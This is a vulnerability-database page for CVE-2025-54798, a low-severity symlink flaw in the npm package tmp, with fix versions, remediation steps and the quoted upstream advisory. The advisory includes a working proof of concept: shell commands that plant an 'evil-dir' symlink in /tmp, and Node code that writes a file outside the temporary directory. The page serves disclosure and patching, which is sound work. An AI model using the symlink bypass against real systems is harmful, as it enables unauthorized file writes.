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Back to active CVEs
Low ยท CVSS 2.5CVE-2025-54798GHSA-52F5-9888-HMC6

tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameterCVE-2025-54798

Answer in brief

CVE-2025-54798 records a Low severity (CVSS 2.5) vulnerability in tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter. The current sources do not mark it as known exploited. The current feed maps tmp (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Aug 6, 2025Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Sep 10, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Low ยท CVSS 2.5
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 2.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps tmp (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
tmpnpm>=0 <0.2.40.2.4

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for tmp.
  2. 2Review the reported fix. Update tmp to 0.2.4 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Aug 6, 2025

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Sep 10, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • Source referencelists.debian.org
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary `[email protected]` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter. ### Details According to the documentation there are some conditions that must be held: ``` // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50 Other breaking changes, i.e. - template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks are still in place. In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option. // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 * `dir`: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you. ``` Related issue: https://github.com/raszi/node-tmp/issues/207. The issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths: ```js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function _resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } } ``` If the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`: ```js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function _assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(`${option} option must not contain an absolute path, found "${name}".`); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(`${option} option must not contain a path, found "${name}".`); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`); } let resolvedPath = _resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`); } } ``` ### PoC The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible. Tested on a Linux machine. - Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it ```bash mkdir $HOME/mydir1 ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir ``` - check the folder is empty: ```bash ls -lha $HOME/mydir1 | grep "tmp-" ``` - run the poc ```bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1". ``` - the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`): ```bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id] ``` - `main.js` ```js // npm i [email protected] const tmp = require('tmp'); const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name); try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) } try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) } try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) } ``` A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links. ```js function _resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); } ``` ### Impact Arbitrary temporary file / directory write via symlink

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Vulnerability
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
6 linked sources
Open source record